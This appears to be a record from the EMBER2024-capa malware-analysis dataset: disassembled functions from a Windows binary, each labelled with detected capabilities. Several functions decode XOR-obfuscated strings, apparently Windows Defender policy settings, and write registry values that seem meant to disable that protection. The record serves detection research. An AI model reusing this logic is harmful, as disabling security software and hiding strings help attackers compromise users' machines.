joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4069a0
Capabilities:
Hash data with md5

Disassembly:
movsx eax, word [0x45f3ec]
mov dword [0x45f488], eax
inc word [0x45f3ec]
mov dword [ecx], 0
mov dword [ecx + 4], 0
movss xmm0, dword [0x45f0cc]
movsd xmm1, qword [0x45f480]
movss xmm3, dword [0x45379c]
cvtps2pd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, qword [0x4548c8]
ucomisd xmm0, xmm1
movsd xmm0, qword [0x45f480]
subsd xmm0, qword [0x4537a0]
lahf
movsd qword [0x45f480], xmm0
movss xmm0, dword [0x45f0cc]
addss xmm0, xmm3
movss dword [0x45f0cc], xmm0
test ah, 0x44
jp 0x406a6b
movsd xmm2, qword [0x45f330]
movss xmm0, dword [0x45f284]
cvtps2pd xmm0, xmm0
subsd xmm2, xmm0
movss xmm0, dword [0x45f058]
cvtps2pd xmm1, xmm0
movsd xmm0, qword [0x45f110]
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [0x45f110], xmm0
movss xmm0, dword [0x45f284]
addss xmm0, xmm3
movss dword [0x45f284], xmm0
mov dword [ecx + 8], 0x67452301
mov dword [ecx + 0xc], 0xefcdab89
mov dword [ecx + 0x10], 0x98badcfe
mov dword [ecx + 0x14], 0x10325476
ret

Function at 0x40e320
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
movsd xmm1, qword [0x45f4d8]
movsd xmm0, qword [0x45f260]
addsd xmm1, qword [0x4541b8]
addsd xmm0, xmm1
movsd qword [0x45f260], xmm0
dec word [0x45f038]
movsx eax, word [0x45f038]
movsd xmm0, qword [0x45f330]
sub eax, 0x4207a63b
movd xmm1, eax
cvtdq2pd xmm1, xmm1
subsd xmm1, xmm0
movsd xmm0, qword [0x45f228]
addsd xmm0, xmm1
movsd qword [0x45f228], xmm0
movsd xmm0, qword [0x45f330]
addsd xmm0, qword [0x4537a0]
movsd qword [0x45f330], xmm0
movsd xmm1, qword [0x45f050]
movsd xmm0, qword [0x45f228]
subsd xmm0, qword [0x453998]
subsd xmm1, qword [0x453de8]
subsd xmm0, qword [0x453a08]
comisd xmm1, xmm0
jb 0x40e3e1
movss xmm0, dword [0x45f494]
mulss xmm0, dword [0x454d68]
movss dword [0x45f494], xmm0
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
push esi
lea esi, [edx + eax*4]
mov eax, dword [ebp + 0x10]
mov dword [ebp - 4], eax
cmp edx, esi
je 0x40e438
movsd xmm1, qword [0x454be0]
lea ecx, [ecx]
movsd xmm0, qword [0x45f170]
mov eax, dword [ebp - 4]
subsd xmm0, xmm1
movsd qword [0x45f170], xmm0
xor dword [edx], eax
add edx, 4
ror eax, 1
mov dword [ebp - 4], eax
mov cl, byte [ebp - 4]
shr eax, 8
add al, cl
add cl, al
mov byte [ebp - 3], al
mov byte [ebp - 4], cl
cmp edx, esi
jne 0x40e400
mov eax, dword [ebp - 4]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x414950
Capabilities:
Terminate process

Disassembly:
dec dword [0x45f360]
mov eax, dword [0x45f360]
movss xmm0, dword [0x45f288]
push dword [0x4614d0]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm0, xmm1
movss dword [0x45f288], xmm0
call fcn.00413730
add esp, 4
push 1
call fcn.00422700
int3
Function at 0x433562
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4600e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00425a8c
mov dword [ebp - 0x14], eax
cmp dword [0x462868], esi
jne 0x433655
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4335e2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x433735
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x433735
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x433735
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x462868], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x46286c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x462870], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x462878], eax
test eax, eax
je 0x433652
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x462874], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x43367a
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x43366d
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x43368f
push 4
pop eax
jmp 0x433737
cmp dword [ebp - 0x14], esi
je 0x43368f
push dword [0x462868]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x433674
mov eax, dword [0x462874]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4336ed
cmp dword [0x462878], edi
je 0x4336ed
push eax
call ebx
push dword [0x462878]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4336ed
test eax, eax
je 0x4336ed
call ecx
test eax, eax
je 0x4336e2
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4336e2
test byte [ebp - 8], 1
jne 0x4336ed
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x43371d
mov eax, dword [0x46286c]
cmp eax, edi
je 0x43371a
push eax
call ebx
test eax, eax
je 0x43371a
call eax
mov esi, eax
test esi, esi
je 0x43371a
mov eax, dword [0x462870]
cmp eax, edi
je 0x43371a
push eax
call ebx
test eax, eax
je 0x43371a
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x462868]
call ebx
test eax, eax
je 0x433735
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x433737
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042449d
mov esp, ebp
pop ebp
ret
Function at 0x40125d
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x444040]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
call fcn.004012f2
mov edx, eax
mov dword [ebp - 0x20], 0x452b4500
mov dword [ebp - 0x1c], 0x45274524
mov edi, 0x4545
mov dword [ebp - 0x18], 0x45204529
xor ecx, ecx
mov dword [ebp - 0x14], 0x45304509
mov dword [ebp - 0x10], 0x45454524
mov eax, edi
xor ax, word [ebp + ecx - 0x20]
mov word [ecx + 0x446138], ax
add ecx, 2
cmp ecx, 0x14
jb 0x40129f
and dword [ebp - 8], 0
lea eax, [ebp - 0xc]
pop edi
push eax
push 2
push 0
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push 0x446138
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403260
leave
ret

Function at 0x4012f2
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
pop edi
pop esi
mov dword [ebp - 0x74], 0x450a4516
mov edx, 0x4545
mov dword [ebp - 0x70], 0x45114503
xor ecx, ecx
mov dword [ebp - 0x6c], 0x45044512
mov dword [ebp - 0x68], 0x45004517
mov dword [ebp - 0x64], 0x45084519
mov dword [ebp - 0x60], 0x4526452c
mov dword [ebp - 0x5c], 0x452a4537
mov dword [ebp - 0x58], 0x452a4536
mov dword [ebp - 0x54], 0x45314523
mov dword [ebp - 0x50], 0x45124519
mov dword [ebp - 0x4c], 0x452b452c
mov dword [ebp - 0x48], 0x452a4521
mov dword [ebp - 0x44], 0x45364532
mov dword [ebp - 0x40], 0x45064519
mov dword [ebp - 0x3c], 0x45374530
mov dword [ebp - 0x38], 0x45204537
mov dword [ebp - 0x34], 0x4531452b
mov dword [ebp - 0x30], 0x45204513
mov dword [ebp - 0x2c], 0x45364537
mov dword [ebp - 0x28], 0x452a452c
mov dword [ebp - 0x24], 0x4519452b
mov dword [ebp - 0x20], 0x452a4515
mov dword [ebp - 0x1c], 0x452c4529
mov dword [ebp - 0x18], 0x452c4526
mov dword [ebp - 0x14], 0x45364520
mov dword [ebp - 0x10], 0x45164519
mov dword [ebp - 0xc], 0x4536453c
mov dword [ebp - 8], 0x45204531
mov dword [ebp - 4], 0x45454528
pop ebx
mov eax, edx
xor ax, word [ebp + ecx - 0x74]
mov word [ecx + 0x446068], ax
add ecx, 2
cmp ecx, 0x74
jb 0x4013d0
mov eax, 0x446068
leave
ret
Function at 0x4013ed
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x444040]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [0x441cc0]
push ebx
xor ebx, ebx
mov word [ebp - 0xc], 0x4520
movups xmmword [ebp - 0x1c], xmm0
mov ecx, ebx
mov al, byte [ebp + ecx - 0x1c]
xor al, 0x45
mov byte [ecx + 0x445db0], al
inc ecx
cmp ecx, 0x12
jb 0x401413
movups xmmword [ebp - 0x1c], xmm0
mov word [ebp - 0xc], 0x4520
mov ecx, ebx
mov al, byte [ebp + ecx - 0x1c]
xor al, 0x45
mov byte [ecx + 0x445ba8], al
inc ecx
cmp ecx, 0x12
jb 0x401431
lea eax, [ebp - 8]
push eax
push 0x20019
push ebx
push 0x445ba8
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40146c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov bl, 1
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.00403260
leave
ret
Function at 0x40147b
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x444040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
call fcn.00401649
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, 0x4545
mov dword [ebp - 8], 1
mov dword [ebp - 0x34], 0x452c4501
xor ecx, ecx
mov dword [ebp - 0x30], 0x45244536
mov dword [ebp - 0x2c], 0x45294527
mov dword [ebp - 0x28], 0x45044520
mov dword [ebp - 0x24], 0x4531452b
mov dword [ebp - 0x20], 0x4516452c
mov dword [ebp - 0x1c], 0x453c4535
mov dword [ebp - 0x18], 0x45244532
mov dword [ebp - 0x14], 0x45204537
mov word [ebp - 0x10], bx
mov eax, ebx
xor ax, word [ebp + ecx - 0x34]
mov word [ecx + 0x445f50], ax
add ecx, 2
cmp ecx, 0x26
jb 0x4014fb
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea eax, [ebp - 8]
push 4
pop edi
push edi
push eax
push edi
push 0
push 0x445f50
push dword [ebp - 0xc]
call esi
mov dword [ebp - 0x30], 0x452c4501
xor ecx, ecx
mov dword [ebp - 0x2c], 0x45244536
mov dword [ebp - 0x28], 0x45294527
mov dword [ebp - 0x24], 0x45044520
mov dword [ebp - 0x20], 0x4531452b
mov dword [ebp - 0x1c], 0x4513452c
mov dword [ebp - 0x18], 0x4537452c
mov dword [ebp - 0x14], 0x45364530
mov word [ebp - 0x10], bx
mov eax, ebx
xor ax, word [ebp + ecx - 0x30]
mov word [ecx + 0x445ea0], ax
add ecx, 2
cmp ecx, 0x22
jb 0x40156a
push edi
lea eax, [ebp - 8]
push eax
push edi
push 0
push 0x445ea0
push dword [ebp - 0xc]
call esi
push edi
lea eax, [ebp - 8]
push eax
push edi
push 0
call fcn.00401717
push eax
push dword [ebp - 0xc]
call esi
push edi
lea eax, [ebp - 8]
push eax
push edi
push 0
call fcn.004017a0
push eax
push dword [ebp - 0xc]
call esi
push edi
lea eax, [ebp - 8]
push eax
push edi
push 0
call fcn.00401836
push eax
push dword [ebp - 0xc]
call esi
mov dword [ebp - 0x30], 0x45204516
xor ecx, ecx
mov dword [ebp - 0x2c], 0x45334537
mov dword [ebp - 0x28], 0x4526452c
mov dword [ebp - 0x24], 0x450e4520
mov dword [ebp - 0x20], 0x45204520
mov dword [ebp - 0x1c], 0x45044535
mov dword [ebp - 0x18], 0x452c4529
mov dword [ebp - 0x14], 0x45204533
mov word [ebp - 0x10], bx
mov eax, ebx
xor ax, word [ebp + ecx - 0x30]
mov word [ecx + 0x445f2c], ax
add ecx, 2
cmp ecx, 0x22
jb 0x401609
push edi
lea eax, [ebp - 8]
push eax
push edi
push 0
push 0x445f2c
push dword [ebp - 0xc]
call esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403260
leave
ret
Function at 0x401649
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
pop edi
mov edx, 0x4545
mov dword [ebp - 0x5c], 0x450a4516
pop esi
mov dword [ebp - 0x58], 0x45114503
xor ecx, ecx
mov dword [ebp - 0x54], 0x45044512
mov dword [ebp - 0x50], 0x45004517
mov dword [ebp - 0x4c], 0x45154519
mov dword [ebp - 0x48], 0x4529452a
mov dword [ebp - 0x44], 0x4526452c
mov dword [ebp - 0x40], 0x4520452c
mov dword [ebp - 0x3c], 0x45194536
mov dword [ebp - 0x38], 0x452c4508
mov dword [ebp - 0x34], 0x45374526
mov dword [ebp - 0x30], 0x4536452a
mov dword [ebp - 0x2c], 0x4523452a
mov dword [ebp - 0x28], 0x45194531
mov dword [ebp - 0x24], 0x452c4512
mov dword [ebp - 0x20], 0x4521452b
mov dword [ebp - 0x1c], 0x4532452a
mov dword [ebp - 0x18], 0x45654536
mov dword [ebp - 0x14], 0x45204501
mov dword [ebp - 0x10], 0x45204523
mov dword [ebp - 0xc], 0x4521452b
mov dword [ebp - 8], 0x45374520
mov word [ebp - 4], dx
pop ebx
mov eax, edx
xor ax, word [ebp + ecx - 0x5c]
mov word [ecx + 0x445bc0], ax
add ecx, 2
cmp ecx, 0x5a
jb 0x4016fa
mov eax, 0x445bc0
leave
ret

Function at 0x401717
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push esi
push edi
pop edi
mov dword [ebp - 0x34], 0x452c4501
mov edx, 0x4545
mov dword [ebp - 0x30], 0x45244536
xor ecx, ecx
mov dword [ebp - 0x2c], 0x45294527
mov dword [ebp - 0x28], 0x45174520
mov dword [ebp - 0x24], 0x45244520
mov dword [ebp - 0x20], 0x45314529
mov dword [ebp - 0x1c], 0x4528452c
mov dword [ebp - 0x18], 0x45084520
mov dword [ebp - 0x14], 0x452b452a
mov dword [ebp - 0x10], 0x4531452c
mov dword [ebp - 0xc], 0x4537452a
mov dword [ebp - 8], 0x452b452c
mov dword [ebp - 4], 0x45454522
pop esi
mov eax, edx
xor ax, word [ebp + ecx - 0x34]
mov word [ecx + 0x44614c], ax
add ecx, 2
cmp ecx, 0x34
jb 0x401783
mov eax, 0x44614c
leave
ret

Function at 0x4017a0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
pop edi
mov edx, 0x4545
mov dword [ebp - 0x3c], 0x452c4501
pop esi
mov dword [ebp - 0x38], 0x45244536
xor ecx, ecx
mov dword [ebp - 0x34], 0x45294527
mov dword [ebp - 0x30], 0x45174520
mov dword [ebp - 0x2c], 0x4530452a
mov dword [ebp - 0x28], 0x452c4531
mov dword [ebp - 0x24], 0x4520452b
mov dword [ebp - 0x20], 0x453c4529
mov dword [ebp - 0x1c], 0x45244511
mov dword [ebp - 0x18], 0x452c452e
mov dword [ebp - 0x14], 0x4522452b
mov dword [ebp - 0x10], 0x45264504
mov dword [ebp - 0xc], 0x452c4531
mov dword [ebp - 8], 0x452b452a
mov word [ebp - 4], dx
pop ebx
mov eax, edx
xor ax, word [ebp + ecx - 0x3c]
mov word [ecx + 0x445e64], ax
add ecx, 2
cmp ecx, 0x3a
jb 0x401819
mov eax, 0x445e64
leave
ret
Function at 0x401836
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
pop edi
mov edx, 0x4545
mov dword [ebp - 0x38], 0x452c4501
pop esi
mov dword [ebp - 0x34], 0x45244536
xor ecx, ecx
mov dword [ebp - 0x30], 0x45294527
mov dword [ebp - 0x2c], 0x45164520
mov dword [ebp - 0x28], 0x45204535
mov dword [ebp - 0x24], 0x452c4526
mov dword [ebp - 0x20], 0x45294524
mov dword [ebp - 0x1c], 0x45304517
mov dword [ebp - 0x18], 0x452b452b
mov dword [ebp - 0x14], 0x452b452c
mov dword [ebp - 0x10], 0x45084522
mov dword [ebp - 0xc], 0x4521452a
mov dword [ebp - 8], 0x45364520
mov word [ebp - 4], dx
pop ebx
mov eax, edx
xor ax, word [ebp + ecx - 0x38]
mov word [ecx + 0x44602c], ax
add ecx, 2
cmp ecx, 0x36
jb 0x4018a8
mov eax, 0x44602c
leave
ret

Function at 0x4018c5
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x444040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x34], 0x452a4516
mov edi, 0x4545
mov dword [ebp - 0x30], 0x45314523
xor ecx, ecx
mov dword [ebp - 0x2c], 0x45244532
mov dword [ebp - 0x28], 0x45204537
mov dword [ebp - 0x24], 0x45164519
mov dword [ebp - 0x20], 0x4536453c
mov dword [ebp - 0x1c], 0x45244506
mov dword [ebp - 0x18], 0x452d4526
mov dword [ebp - 0x14], 0x45454520
mov eax, edi
xor ax, word [ebp + ecx - 0x34]
mov word [ecx + 0x445e00], ax
add ecx, 2
cmp ecx, 0x24
jb 0x40191e
lea eax, [ebp - 0x10]
push eax
push 0xf003f
push 0
push 0x445e00
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
call fcn.004030e0
push 0
push 0x989680
push edx
push eax
call fcn.00433070
mov dword [ebp - 0x38], eax
mov ebx, edx
mov esi, dword [ebp - 0x38]
mov ecx, ebx
mov byte [ebp - 0xc], al
shrd eax, ecx, 8
mov ecx, ebx
mov byte [ebp - 8], bl
mov byte [ebp - 0xb], al
mov eax, esi
shrd eax, ecx, 0x10
mov ecx, esi
mov dword [ebp - 0x24], 0x45244506
mov byte [ebp - 0xa], al
mov eax, ebx
shrd ecx, eax, 0x18
mov eax, ebx
mov dword [ebp - 0x20], 0x452d4526
shr eax, 8
mov byte [ebp - 7], al
mov eax, ebx
shr eax, 0x10
mov byte [ebp - 6], al
mov eax, ebx
shr eax, 0x18
mov byte [ebp - 9], cl
xor ecx, ecx
mov byte [ebp - 5], al
mov dword [ebp - 0x1c], 0x45164520
mov dword [ebp - 0x18], 0x453f452c
mov dword [ebp - 0x14], 0x45454520
mov eax, edi
xor ax, word [ebp + ecx - 0x24]
mov word [ecx + 0x445e50], ax
add ecx, 2
cmp ecx, 0x14
jb 0x4019cc
push 8
lea eax, [ebp - 0xc]
push eax
push 3
push 0
push 0x445e50
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
mov edx, ebx
xor ecx, ebp
pop ebx
call fcn.00403260
leave
ret
Function at 0x401a0d
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push 0x34
mov eax, 0x4335bd
call fcn.00433570
movaps xmm0, xmmword [0x441cc0]
xor esi, esi
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x4520
mov ecx, esi
mov al, byte [ebp + ecx - 0x24]
xor al, 0x45
mov byte [ecx + 0x446018], al
inc ecx
cmp ecx, 0x12
jb 0x401a2e
lea eax, [ebp - 0x30]
push eax
push 0x20019
push esi
push 0x446018
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x28], esi
mov ecx, esi
mov dword [ebp - 0x3c], 0x2d262406
mov dword [ebp - 0x38], 0x3f2c1620
mov word [ebp - 0x34], 0x4520
mov al, byte [ebp + ecx - 0x3c]
xor al, 0x45
mov byte [ecx + 0x445ec4], al
inc ecx
cmp ecx, 0xa
jb 0x401a73
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x28]
push eax
push esi
lea eax, [ebp - 0x2c]
push eax
push esi
push 0x445ec4
push dword [ebp - 0x30]
call ebx
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xorps xmm0, xmm0
mov dword [ebp - 4], esi
push 8
movups xmmword [ebp - 0x24], xmm0
call fcn.00403270
pop ecx
lea ecx, [ebp - 0x24]
mov dword [eax + 4], esi
mov dword [ebp - 0x24], eax
mov dword [eax], ecx
mov dword [ebp - 4], 1
mov edi, dword [ebp - 0x1c]
mov ecx, edi
mov edx, dword [ebp - 0x20]
sub ecx, edx
mov esi, dword [ebp - 0x28]
cmp esi, ecx
jae 0x401aee
add esi, edx
lea ecx, [ebp - 0x24]
push edi
push esi
call fcn.00402bd7
mov dword [ebp - 0x1c], esi
jmp 0x401b23
jbe 0x401b26
mov eax, dword [ebp - 0x18]
sub eax, edx
cmp esi, eax
jbe 0x401b05
push ecx
push esi
lea ecx, [ebp - 0x24]
call fcn.00402c3e
jmp 0x401b23
sub esi, ecx
push esi
push 0
push edi
call fcn.00405980
add esp, 0xc
lea eax, [esi + edi]
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x1c], eax
push edi
push edi
call fcn.00402bd7
mov edx, dword [ebp - 0x20]
xor esi, esi
mov dword [ebp - 0x3c], 0x2d262406
mov dword [ebp - 0x38], 0x3f2c1620
mov ecx, esi
mov word [ebp - 0x34], 0x4520
mov al, byte [ebp + ecx - 0x3c]
xor al, 0x45
mov byte [ecx + 0x445f78], al
inc ecx
cmp ecx, 0xa
jb 0x401b3e
lea eax, [ebp - 0x28]
push eax
push edx
push esi
push esi
push 0x445f78
push dword [ebp - 0x30]
call ebx
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 7
lea ecx, [ebp - 0x24]
call fcn.00402afe
push 6
lea ecx, [ebp - 0x24]
call fcn.00402afe
push 5
lea ecx, [ebp - 0x24]
call fcn.00402afe
push 4
lea ecx, [ebp - 0x24]
call fcn.00402afe
push 3
lea ecx, [ebp - 0x24]
call fcn.00402afe
push 2
lea ecx, [ebp - 0x24]
mov al, byte [eax]
mov byte [ebp - 0x3d], al
call fcn.00402afe
push 1
lea ecx, [ebp - 0x24]
mov bh, byte [eax]
call fcn.00402afe
push esi
lea ecx, [ebp - 0x24]
mov bl, byte [eax]
call fcn.00402afe
movzx edx, byte [ebp - 0x3d]
shl edx, 8
movzx ecx, bh
movzx eax, byte [eax]
or edx, ecx
shl edx, 8
movzx ecx, bl
or edx, ecx
lea ecx, [ebp - 0x24]
shl edx, 8
or eax, edx
cdq
mov esi, eax
mov edi, edx
call fcn.00402b5d
mov eax, esi
mov edx, edi
call fcn.00433560
ret
Function at 0x401bf5
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x444040]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x441ca0]
push ebx
movups xmmword [ebp - 0x50], xmm0
push esi
movaps xmm0, xmmword [0x441c80]
push edi
movups xmmword [ebp - 0x40], xmm0
xor edi, edi
mov dword [ebp - 0x20], 0x16193620
movaps xmm0, xmmword [0x441cb0]
mov ecx, edi
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0x2031363c
mov word [ebp - 0x18], 0x4528
mov al, byte [ebp + ecx - 0x50]
xor al, 0x45
mov byte [ecx + 0x445dc4], al
inc ecx
cmp ecx, 0x3a
jb 0x401c41
lea eax, [ebp - 0xc]
mov ebx, 0x80000001
push eax
lea eax, [ebp - 0x14]
push eax
push edi
push 0x20006
push edi
push edi
push edi
push 0x445dc4
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call fcn.00401d0a
mov esi, 0x4545
mov dword [ebp - 0x34], 0x452c4501
mov edx, eax
mov dword [ebp - 0x30], 0x45244536
mov dword [ebp - 0x2c], 0x45294527
mov ecx, edi
mov dword [ebp - 0x28], 0x45114520
mov dword [ebp - 0x24], 0x45364524
mov dword [ebp - 0x20], 0x4508452e
mov dword [ebp - 0x1c], 0x45374522
mov word [ebp - 0x18], si
mov eax, esi
xor ax, word [ebp + ecx - 0x34]
mov word [ecx + 0x445d90], ax
add ecx, 2
cmp ecx, 0x1e
jb 0x401cb8
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 1
push eax
push 2
push edi
push edx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 4
lea eax, [ebp - 8]
push eax
push 4
push edi
push 0x445d90
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403260
leave
ret

Function at 0x401d0a
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
pop edi
pop esi
mov dword [ebp - 0x74], 0x452a4516
mov edx, 0x4545
mov dword [ebp - 0x70], 0x45314523
xor ecx, ecx
mov dword [ebp - 0x6c], 0x45244532
mov dword [ebp - 0x68], 0x45204537
mov dword [ebp - 0x64], 0x45084519
mov dword [ebp - 0x60], 0x4526452c
mov dword [ebp - 0x5c], 0x452a4537
mov dword [ebp - 0x58], 0x452a4536
mov dword [ebp - 0x54], 0x45314523
mov dword [ebp - 0x50], 0x45124519
mov dword [ebp - 0x4c], 0x452b452c
mov dword [ebp - 0x48], 0x452a4521
mov dword [ebp - 0x44], 0x45364532
mov dword [ebp - 0x40], 0x45064519
mov dword [ebp - 0x3c], 0x45374530
mov dword [ebp - 0x38], 0x45204537
mov dword [ebp - 0x34], 0x4531452b
mov dword [ebp - 0x30], 0x45204513
mov dword [ebp - 0x2c], 0x45364537
mov dword [ebp - 0x28], 0x452a452c
mov dword [ebp - 0x24], 0x4519452b
mov dword [ebp - 0x20], 0x452a4515
mov dword [ebp - 0x1c], 0x452c4529
mov dword [ebp - 0x18], 0x452c4526
mov dword [ebp - 0x14], 0x45364520
mov dword [ebp - 0x10], 0x45164519
mov dword [ebp - 0xc], 0x4536453c
mov dword [ebp - 8], 0x45204531
mov dword [ebp - 4], 0x45454528
pop ebx
mov eax, edx
xor ax, word [ebp + ecx - 0x74]
mov word [ecx + 0x4461b0], ax
add ecx, 2
cmp ecx, 0x74
jb 0x401de8
mov eax, 0x4461b0
leave
ret